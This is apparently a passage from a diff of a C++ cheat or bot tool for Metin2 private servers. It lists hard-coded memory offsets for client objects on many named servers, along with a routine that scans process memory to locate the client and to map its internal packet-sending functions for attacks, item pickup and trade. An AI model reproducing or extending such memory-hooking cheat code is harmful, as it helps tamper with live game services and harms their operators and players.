pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x44cb4c; // [100 ] [98 / 98] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x44a91c; // [98 ] [78 / 79] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x44a90c; // [95 ] [41 / 43] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x44a924; // [97 ] [47 / 48] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x44cb5c; // [100 ] [3 / 3] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x44EB88; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x44a910; // [100 ] [3 / 3] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x44a918; // [100 ] [106 / 106] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x44cb38; // [100 ] [3 / 3] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x450EEC; + break; + } + case ServerName::VALIUM://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x285cf50; // [100 ] [103 / 103] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x285aadc; // [100 ] [88 / 88] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x285aacc; // [100 ] [40 / 40] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x285aae8; // [100 ] [48 / 48] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x285d040; // [100 ] [7 / 7] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x285F180; // [98 ] [74 / 75] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x285aad0; // [100 ] [6 / 6] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x285aad8; // [100 ] [120 / 120] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x285cf88; // [100 ] [4 / 4] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x28615A4; + break; + } + case ServerName::DEVERIA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x357adc; // [100 ] [1 / 1] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x35b7b0; // [100 ] [1 / 1] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x357ae4; // [100 ] [1 / 1] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x35b7c4; // [100 ] [1 / 1] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x35B7F4; // [100 ] [4 / 4] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x358048; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x35b7d8; // [100 ] [1 / 1] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x35b7d0; // [100 ] [1 / 1] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x357af0; // [100 ] [1 / 1] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x2DF2AC; + break; + } + case ServerName::DRAGON://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x2492f58; // [100 ] [1 / 1] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x249c330; // [100 ] [1 / 1] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x2492f60; // [100 ] [1 / 1] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x249c344; // [100 ] [1 / 1] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x249c37c; // [100 ] [1 / 1] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x24940E0; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x249c354; // [100 ] [1 / 1] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x249c34c; // [100 ] [1 / 1] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x2492f68; // [100 ] [7 / 7] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x2409A44; + break; + } + case ServerName::DRAGON2://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x27e6784; // [100 ] [105 / 105] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x27e4400; // [100 ] [91 / 91] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x27e43f0; // [100 ] [42 / 42] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x27e4408; // [100 ] [58 / 58] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x27e67ac; // [100 ] [7 / 7] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x27E88E8; // [100 ] [59 / 59] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x27e43f4; // [100 ] [6 / 6] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x27e43fc; // [100 ] [135 / 135] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x27e6768; // [100 ] [4 / 4] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x27EAD64; + break; + } + case ServerName::NEVILLA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x124e85c; // [100 ] [103 / 103] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x124e874; // [98 ] [84 / 85] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x124e860; // [95 ] [41 / 43] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x1252bc4; // [97 ] [45 / 46] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x1252be4; // [100 ] [4 / 4] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x124F0E8; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x1252bc0; // [100 ] [8 / 8] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x1252bb0; // [100 ] [106 / 106] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x124e86c; // [100 ] [3 / 3] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x11CFB7C; + break; + } + case ServerName::LUNA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x236bc4c; // [100 ] [110 / 110] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x23683d8; // [98 ] [80 / 81] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x23683c4; // [95 ] [41 / 43] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x23683e0; // [100 ] [52 / 52] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x236bcf0; // [100 ] [4 / 4] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x236dde0; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x23683c8; // [100 ] [3 / 3] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x23683d4; // [99 ] [107 / 108] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x236bd5c; // [100 ] [6 / 6] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x23702B4; + break; + } + case ServerName::G22: + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x171a3a4; // [100 ] [100 / 100] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x171a3cc; // [100 ] [60 / 60] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x171a3ac; // [100 ] [16 / 16] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x171a404; // [100 ] [47 / 47] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x171fab0; // [100 ] [3 / 3] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x171faf4; // [100 ] [35 / 35] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x171a3f4; // [100 ] [1 / 1] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x171a3fc; // [100 ] [98 / 98] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x171a3c0; // [100 ] [4 / 4] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x1722cfc; // [100 ] [2 / 2] + break; + } + case ServerName::CarolineMT2://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x38ee70; // [100 ] [94 / 94] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x3c9770; // [100 ] [61 / 61] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x38ee78; // [100 ] [15 / 15] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x3c9784; // [100 ] [44 / 44] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x3c97b4; // [100 ] [3 / 3] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x38f3e8; // [100 ] [35 / 35] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x3c9798; // [100 ] [1 / 1] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x3c9790; // [100 ] [92 / 92] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x38ee84; // [100 ] [5 / 5] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x31436c; // [100 ] [2 / 2] + break; + } + case ServerName::TASTRIA2://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x14F7A24; // [100 ] [110 / 110] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x14F7A58; // [98 ] [80 / 81] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x14F7A38; // [95 ] [41 / 43] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x14F7A90; // [100 ] [52 / 52] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x14FA048; // [100 ] [4 / 4] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x14FA094; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x14F7A80; // [100 ] [3 / 3] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x14F7A88; // [99 ] [107 / 108] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x14F7A40; // [100 ] [6 / 6] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x14FE5F4; + break; + } + case ServerName::PANGEA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x328e984; // [100 ] [101 / 101] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x328e9b0; // [100 ] [66 / 66] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x328e990; // [100 ] [16 / 16] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x328ea08; // [100 ] [48 / 48] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x32aca90; // [100 ] [3 / 3] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x32acaa4; // [100 ] [35 / 35] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x328e9f8; // [100 ] [1 / 1] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x328ea00; // [100 ] [105 / 105] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x328e998; // [100 ] [7 / 7] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x32afe3c; // [100 ] [2 / 2] + break; + } + case ServerName::BARIA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x28f115c; // [100 ] [100 / 100] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x28ed3ec; // [100 ] [89 / 89] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x28ed3dc; // [100 ] [42 / 42] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x28ed3f4; // [100 ] [49 / 49] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x28f1260; // [100 ] [7 / 7] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x28f39c0; // [100 ] [57 / 57] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x28ed3e0; // [100 ] [7 / 7] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x28ed3e8; // [100 ] [123 / 123] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x28f1644; // [100 ] [3 / 3] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x28f6ff4; // [100 ] [2 / 2] + break; + } + case ServerName::WOM://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x1584474; // [100 ] [84 / 84] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x1581fa8; // [98 ] [73 / 74] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x1581f98; // [33 ] [1 / 3] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x1581fb0; // [100 ] [32 / 32] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x1584474; // [100 ] [5 / 5] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x158652C; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x1581f9c; // [100 ] [4 / 4] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x1581fa4; // [98 ] [83 / 84] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x1584458; // [100 ] [5 / 5] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x15891BC; + break; + } + case ServerName::ARATHAR://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x2cd0900; // [100 ] [103 / 103] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x2cc073c; // [100 ] [89 / 89] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x2cc072c; // [100 ] [41 / 41] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x2cc0744; // [100 ] [58 / 58] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x2cd0a64; // [100 ] [7 / 7] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x2344e20; // [100 ] [74 / 74] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x2cc0730; // [100 ] [7 / 7] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x2cc0738; // [100 ] [127 / 127] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x2cd0a1c; // [100 ] [4 / 4] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x2CD506C; + break; + } + case ServerName::EGORIA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x3af9538; // [100 ] [1 / 1] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x3af9564; // [100 ] [1 / 1] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x3af9548; // [100 ] [1 / 1] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x3af9580; // [100 ] [1 / 1] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x3B38E44; + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x3afa868; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x3af9570; // [100 ] [1 / 1] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x3af9578; // [100 ] [1 / 1] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x3af9558; // [100 ] [1 / 1] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x3A3B114; + break; + } + case ServerName::AELDRA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x21D09F4; // [100 ] [1 / 1] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x21D0B18; // [100 ] [1 / 1] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x21D0A48; // [100 ] [1 / 1] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x21D0AE0; // [100 ] [1 / 1] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x21D389C; + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x21D38B0; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x21D0AE4; // [100 ] [1 / 1] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x21D0B48; // [100 ] [1 / 1] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x21D0ACC; // [100 ] [1 / 1] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x21D9A48; + break; + } + case ServerName::GLEVIA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x311aee4; // [100 ] [102 / 102] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x311b0bc; // Rate: 100 + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x311af08; // Rate: 100 + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x311b154; // Rate: 100 + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x3123854; // Rate: 100 + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x3123898; // Rate: 100 + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x311b144; // Rate: 100 + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x311b14c; // Rate: 100 + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x311af0c; // Rate: 100 + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x3128724; // Rate: 100 + break; + } + case ServerName::KEVRA://"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x672784; // [100 ] [102 / 102] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x6729fc; // [100 ] [89 / 89] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x6727e0; // [100 ] [41 / 41] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x672a80; // [100 ] [49 / 49] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x678990; // [100 ] [7 / 7] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x678a08; // [100 ] [58 / 58] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x672a6c; // [100 ] [6 / 6] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x672a74; // [100 ] [121 / 121] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x672954; // [100 ] [3 / 3] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x67e41c; // [100 ] [2 / 2] + break; + } + case ServerName::Ernidia: + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x28aa030; // [100 ] [115 / 115] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x28a0cac; // [100 ] [90 / 90] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x28a0c9c; // [100 ] [46 / 46] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x28a0cb4; // [100 ] [50 / 50] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x28aa070; // [100 ] [7 / 7] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x28AC338; // [100 ] [58 / 58] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x28a0ca0; // [100 ] [16 / 16] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x28a0ca8; // [100 ] [119 / 119] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x28aa1d4; // [100 ] [3 / 3] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x28AE7FC; + break; + } + case ServerName::TAMIDIA2021: + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x551a70; // [99 ] [258 / 259] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x55d880; // [98 ] [187 / 189] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x551a78; // [93 ] [97 / 104] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x55d890; // [97 ] [137 / 140] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x55d8c0; // [100 ] [14 / 14] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x551f10; // [98 ] [122 / 124] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x55d8a0; // [95 ] [21 / 22] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x55d898; // [99 ] [281 / 283] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x551a80; // [100 ] [16 / 16] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x51512c; // [75 ] [3 / 4] + + break; + } + case ServerName::ANORIA2: + { + Globals::pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x550950; // [100 ] [349 / 349] + Globals::pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x550994; // [98 ] [285 / 288] + Globals::pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x550964; // [92 ] [132 / 143] + Globals::pCItemManagerInstance = Globals::hEntryBaseAddress + 0x5509bc; // [100 ] [181 / 181] + Globals::pCPythonItemInstance = Globals::hEntryBaseAddress + 0x58a604; // [100 ] [18 / 18] + Globals::pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x55123c; // [96 ] [194 / 201] + Globals::pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x5509a4; // [100 ] [55 / 55] + Globals::pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x5509b0; // [99 ] [379 / 382] + Globals::pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x550988; // [100 ] [21 / 21] + Globals::pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x501A9C; + break; + } + } +} + +void Globals::ReAddressingLocas() +{ + switch (Globals::Server) + { + case ServerName::METINPL: + { + HANDLE process = GetCurrentProcess(); + MEMORY_BASIC_INFORMATION info; + unsigned char* p = NULL; + for (p = NULL; VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info); p += info.RegionSize) + { + if ((info.State == MEM_COMMIT) && ((info.Type & MEM_MAPPED) || (info.Type & MEM_PRIVATE)) && info.Protect == 0x40) + { + if (info.RegionSize >= 0x02000000) + { + Globals::hEntryBaseAddress = (DWORD)info.BaseAddress; + Globals::hEntryBaseSize = (DWORD)info.RegionSize; + } + } + } + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x1C87410; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x76ed0; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x54cb0; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x54c70; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x599e0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x59a30; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x58f50; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x734f0; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x56b50; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x56620; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x733e0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x72f30; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x73370; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x6A570; + pCItemDataGetName = Globals::hEntryBaseAddress + 0x3a7c70; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x3aa400; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x76e10; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x432a50; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x1ec740; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1ea7a0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x4328c0; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x432870; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x432f00; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x432f30; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x432fa0; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x3cdef0; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x1c6c50; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x1c60e0; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x84240; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x14f4e0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x9b090; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x1ea880; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1ec690; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x2023b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x201ee0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1fbd80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x1FBF80; + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x211840; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x200ed0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x200e10; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x200ca0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x206d50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x206ec0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x222680; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x2228b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x222b40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x222410; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x1fe280; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x201280; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x202330; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x222210; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x222190; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x2222f0; // 